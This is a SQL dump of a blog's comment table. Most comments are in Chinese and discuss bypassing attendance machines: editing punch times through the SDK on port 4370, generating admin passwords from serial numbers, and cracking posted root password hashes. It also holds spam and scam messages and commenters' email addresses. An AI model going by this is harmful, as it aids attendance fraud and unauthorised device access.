INSERT INTO `tb_comment` VALUES (232, 19, -1, 0, '憨批', '1@1.com', '', '现在新出的机器基本都关闭了Telnet，只剩下默认4370可以玩了，也就是说只能用SDK改时间再补卡。目前没有研究出来打开Telnet的方法', '2022-08-03 17:53:03', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (233, 19, 232, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '4370也不错，改时间够用了', '2022-08-04 16:55:43', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (234, 19, -1, 0, 'hhh', '12955013280@qq.com', '', '老铁们,我拿到考勤机里面的passwd文件了,只要解密出root的密码就破解出密码了,大伙可以帮忙解密下:\r\nZMM220平台的:\r\nroot:$1$pT3F/tce$VNCRIxQ4uM5QcrW0FVMxp1:0:0:root:/root:/bin/sh\r\n\r\nZMM220B平台的:\r\nroot:$1$pJjwQ5xv$pU6BmG1knwUWrQB20k/jz1:0:0:root:/root:/bin/sh', '2022-08-05 08:31:14', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (235, 19, -1, 0, 'hhh', '12955013280@qq.com', '', '老铁们,我拿到考勤机里面的passwd文件了,只要解密出root的密码就破解出密码了,大伙可以帮忙解密下:\r\nZMM220平台的:\r\nroot:$1$pT3F/tce$VNCRIxQ4uM5QcrW0FVMxp1:0:0:root:/root:/bin/sh\r\n\r\nZMM220B平台的:\r\nroot:$1$pJjwQ5xv$pU6BmG1knwUWrQB20k/jz1:0:0:root:/root:/bin/sh', '2022-08-05 08:31:14', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77', 2, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (236, 19, 234, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '这个是加了salt的md5，我自己去cmd5网站查询，没有结果，要爆破只能等大神了', '2022-08-05 12:36:43', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (237, 19, 184, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '8888 的密码算法更新啦。可以重新试试。', '2022-08-08 18:24:31', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (238, 1, -1, 0, 'ErnestCap', 'no-replyamalkHig@gmail.com', 'https://www.no-site.com', 'Hello!  smileat.me \r\n \r\nWe present oneself \r\n \r\nSending your business proposition through the feedback form which can be found on the sites in the Communication partition. Contact form are filled in by our software and the captcha is solved. The profit of this method is that messages sent through feedback forms are whitelisted. This method raise the odds that your message will be open. \r\n \r\nOur database contains more than 27 million sites around the world to which we can send your message. \r\n \r\nThe cost of one million messages 49 USD \r\n \r\nFREE TEST mailing Up to 50,000 messages. \r\n \r\n \r\nThis message is created automatically.  Use our contacts for communication. \r\n \r\nContact us. \r\nTelegram - @FeedbackMessages \r\nSkype  live:contactform_18 \r\nWhatsApp - +375259112693 \r\nWe only use chat.', '2022-08-16 01:49:51', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (239, 1, -1, 0, 'Kalra Anil', 'info@wealthfunders.org', 'https://no-site.com', 'We are a private investment banking firm offering equity financing and mortgages. The larger the loan, the more likely the funding. We are not looking for but will consider J.V. depending on the strength of the project. \r\n \r\nWe also offer credit advisory services to positively impact fiduciary attractiveness which enables our borrowers to qualify for increasing loan amounts throughout the lending process. Thus, our borrowers can qualify for almost any amount of funding they seek. \r\n \r\nPlease send a 1-2 page summary describing your project along with how much funding you seek to kalra.anil@wealthfunders.org and if it\'s a fit, we will reach out to you for more information. Please keep the summary succinct. \r\n \r\nWarm Regards \r\nKalra Anil \r\nkalra.anil@wealthfunders.org', '2022-08-16 03:32:18', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (240, 1, -1, 0, 'Marionub', 'office54792022@gmail.com', 'https://www.no-site.com', 'Become A Member, Joining Form Fill Details. Looking To Join The Illuminati , Sign Up Form Available. Illuminati Officials. www.illuminati-secretsociety.org \r\n \r\nBenefits of illuminati: \r\n \r\nThe illuminati, interpreted as the cradle of light is a secret society that was founded in late 17th century, and has since gained immense popularity. \r\n \r\n1. Spiritual and moral values: \r\n \r\n2. Political and social in nature: \r\n \r\n3. Provides conviviality and companionship \r\n \r\n4. Prepares individuals to greatness \r\n \r\n5. Promotes happiness \r\n \r\nJoining Form Available Here, Become A Member, Know About Our Society, Talk With Us. \r\n \r\nOfficial Website: https://www.illuminati-secretsociety.org/ \r\n \r\nMembership form: https://www.illuminati-secretsociety.org/contact-the-illuminati-today \r\n \r\nContact Us: https://www.illuminati-secretsociety.org/contact-the-illuminati-today \r\n \r\nDirect Office 24/ Response team: office54792022@gmail.com \r\n \r\nBECOME A MEMBER TODAY', '2022-08-18 09:03:50', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (241, 166, -1, 0, 'Doghole', 'huocaizhu@gmail.com', NULL, '网上一搜 tushare，全是一群为了赚积分的狗 B 写的软文，必带上自己的 ID，一个劲儿狂吹这数据有多靠谱。做策略，最重要的就是数据准确性。要是不准确，我宁愿你不提供接口，不放出来。放出来一坨屎，没任何提示，就敢卖积分，就敢收赞助，牛 B，孝子们还一个劲儿吹，tushare 是你野爹？', '2022-09-26 17:11:36', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (242, 166, -1, 0, 'Fucker', 'tushare@gmail.com', NULL, '网上一搜 tushare，全是一群为了赚积分的狗 B 写的软文，哈哈', '2022-09-29 17:16:59', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (243, 1, -1, 0, 'Mark Den', 'mark@markdens.com', 'https://www.no-site.com', 'Good day \r\n \r\n \r\n \r\nI contacted you some days back seeking your cooperation in a matter regarding funds worth $24 Million, I \r\nurge you to get back to me through this email mark1@markdens.com if you\'re still interested. \r\n \r\n \r\nI await your response. \r\n \r\n \r\nThanks, \r\n \r\n \r\nMark Den', '2022-09-28 15:03:22', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.71', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (244, 1, -1, 0, 'JasonWitly', 'ancarprir@yahoo.com', 'https://www.no-site.com', 'Za karcinome i sva najteža oboljenja u dječijim i ljudskim organizmima - koristite naše prirodne preparate koji imaju veoma visok procenat uspješnosti. \r\nDetalji na https://an-carstvoprirode.com/bs/for-the-most-serious-cancers-and-all-diseases-in-the-human-organism/ , kontakt email info@an-carstvoprirode.com \r\nPratite nas na https://www.instagram.com/an.carstvo.prirode/', '2022-11-02 18:17:37', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (245, 1, -1, 0, 'HarryAtten', 'enauda.studio@gmail.com', 'https://no-site.com', 'http://nextel.paymoney.cloud is a modern e-Banking solution without boundaries. \r\n \r\nWe provide a way to receive and transfer money via SEPA (EU), CHAPS (UK), ACH (US), Singapore, New Zealand, Australia, Turkey, Hungary domestic bank accounts, SWIFT worldwide bank transfers. \r\n \r\nOur platform allows to register and deposit money via cryptocurrency, deposit payments via domestic US, UK, EU, Singapore, New Zealand, Australia, Turkey, Hungary bank wires, withdraw balance to credit card, cryptocurrency, or send money to any bank account worldwide. \r\n \r\nYou can use our solution to receive various local payments and forward it to cryptocurrency wallets, or deposit money via your local bank and pay it out in cryptocurrency for your partners. Also you are able to deposit the balance in cryptocurrency and pay it out to bank wire. \r\n \r\nWe work with all international partners. We do not disclose information about our customers to third parties. \r\n \r\nFeel free to reach us via email hello@nextel.capital if you have any questions or partnership offers.', '2022-11-20 00:39:28', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (246, 19, -1, 0, 'Hyman', 'huanghai89721@gmail.com', '', '我遇到一个奇葩现象，我的是中控的iFace303，平时都是用8888超管进后台，最近一次用的时候发现用8888进后台输入完超管密码后，8888被人恶意设置了指纹识别，进不了后台，这有什么办法破', '2022-12-31 08:32:50', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (247, 19, 233, 2, 'Hyman', 'huanghai89721@gmail.com', '', '4370是个什么玄学，可以交流一下么', '2022-12-31 08:33:38', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (248, 19, 246, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '你可以通过SDK，也就是TCP 4370端口来进行链接，然后删除8888这个账号，或者修改它的密码。或者直接给你赋管理员权限，然后你用你自己的账号进后台即可。不过，如果有人用8888设置了密码，那你可能要考虑下，是个别的捣蛋鬼干的好事，还是你被发现了？', '2023-01-01 00:01:37', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (249, 19, 248, 2, 'Hyman', 'huanghai89721@gmail.com', '', '我分析是有人捣蛋，一直用8888管理员登录都是OK，结果上周突然发现被恶意设置了指纹登录，好气，那么请问您所说的通过SDK链接是通过外接电脑链接再进行对应的操作是么', '2023-01-03 20:58:14', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (250, 19, 248, 2, 'Hyman', 'huanghai89721@gmail.com', '', '我分析是有人捣蛋，一直用8888管理员登录都是OK，结果上周突然发现被恶意设置了指纹登录，好气，那么请问您所说的通过SDK链接是通过外接电脑链接再进行对应的操作是么', '2023-01-03 20:58:14', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (251, 19, 249, 3, 'Doghole', 'huocaizhu@gmail.com', NULL, '打卡机要联网，参照 0x05 章节', '2023-01-04 15:16:17', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (252, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', '', '妈的怎么感觉评论不了了', '2023-01-11 05:51:13', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 12; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.0.21.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (253, 1, 252, 1, 'Doghole', 'huocaizhu@gmail.com', '', '哦，没事啊，那没事了', '2023-01-11 06:19:28', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 12; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.0.21.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (254, 166, 242, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '其实还好，也启蒙和滋养了一大批人', '2023-01-12 18:05:58', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (255, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', '', '测试评论测试评论测试测试', '2023-01-12 23:05:20', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (256, 19, -1, 0, 'TTTK', 'cntink@gmail.com', '', '汉王也可以内网修改本机时间后用自带的管理软件同步到打卡机，中控的目前看来也只有SDK修改时间内网同步过去这一条路是最稳妥的了，当然首先得有内网权限。', '2023-01-28 11:38:28', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (257, 19, 188, 1, 'TTTK', 'cntink@gmail.com', '', '汉王可以进入打卡机内网修改本机时间后用自带的管理软件同步到打卡机然后补卡', '2023-01-28 11:38:58', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (258, 19, 256, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '网口风险还是蛮高的，固定在墙上不插网线的，或者有监控的容易寄', '2023-01-28 16:28:11', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (259, 19, 258, 2, 'TTTK', 'cntink@gmail.com', '', '能破解root密码是最完美的，可惜了，没有人知道', '2023-01-29 08:52:07', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (260, 19, 259, 3, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '雀食', '2023-01-29 23:42:54', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (261, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (262, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (263, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (264, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (265, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (266, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (267, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (268, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (269, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (270, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (271, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (272, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (273, 19, 186, 1, 'TTTK', 'cntink@gmail.com', '', '工厂初始化是指恢复过出厂设置吗？用sdk貌似可以初始化吧？如果这样那可以冒险用sdk初始化一次，然后telnet上去写个脚本自动打卡了。。。', '2023-02-06 20:29:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (274, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '中控有的序列前面是字母，是否省略掉，您编辑的生成器，可以直接拿来使用吗？', '2023-02-08 14:52:07', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (275, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '中控有的序列前面是字母，是否省略掉，您编辑的生成器，可以直接拿来使用吗？', '2023-02-08 14:52:08', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (276, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '中控有的序列前面是字母，是否省略掉，您编辑的生成器，可以直接拿来使用吗？', '2023-02-08 14:52:08', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (277, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '中控有的序列前面是字母，是否省略掉，您编辑的生成器，可以直接拿来使用吗？', '2023-02-08 14:52:08', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (278, 19, 274, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '可以直接用，输入序列号然后点击「生成密码」按钮就行了。不过有的可能旧版用不了。\n\n你看下我给的默认的示例，序列号是 13 位数字，看看你的考勤机上有没有 13 位数字。如果没有，考虑用旧版 8888 动态密码试试。', '2023-02-08 17:46:36', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (279, 166, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论测试测试', '2023-02-08 18:52:06', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (280, 166, 279, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '无法无法awful无法我', '2023-02-08 18:52:13', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (281, 19, 278, 2, '风中CHENAI  ', '6047483@qq.com', '', 'CJ8G221360133,不是纯数字的序列号，但是旧版8888动态密码已经不能使用。', '2023-02-09 11:42:33', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (282, 19, 274, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '这种我还真没见过。我现在把那个输入框改了一下，已经可以输入字母了。你输入完整的序列号（包括字母）生成试试，也试试把字母去掉只留数字，比如 8221360133', '2023-02-09 15:12:11', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (283, 19, 282, 2, '风中CHENAI  ', '6047483@qq.com', '', '好的，之前同款的机器8888就可以用，换了新的就不能用了，昨天用您的生成器（只取数字）的密码也不能用，我在试试加字母的！谢谢！！', '2023-02-09 16:26:54', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (284, 19, 282, 2, '风中CHENAI  ', '6047483@qq.com', '', 'CJ8G221360133 用这个生成的密码是7位数。', '2023-02-13 09:39:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (285, 19, 284, 3, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '修改一下偏移值再试试，(144, 8641) 之间取一个数，我刚试了 5000 可以生成 8 位', '2023-02-13 11:26:05', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (286, 19, -1, 0, 'Doghole', 'huocaizhu@gmail.com', '', '测试评论测试测试', '2023-02-14 02:09:03', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 12; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.6.0.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (287, 19, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论测试', '2023-02-15 13:51:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
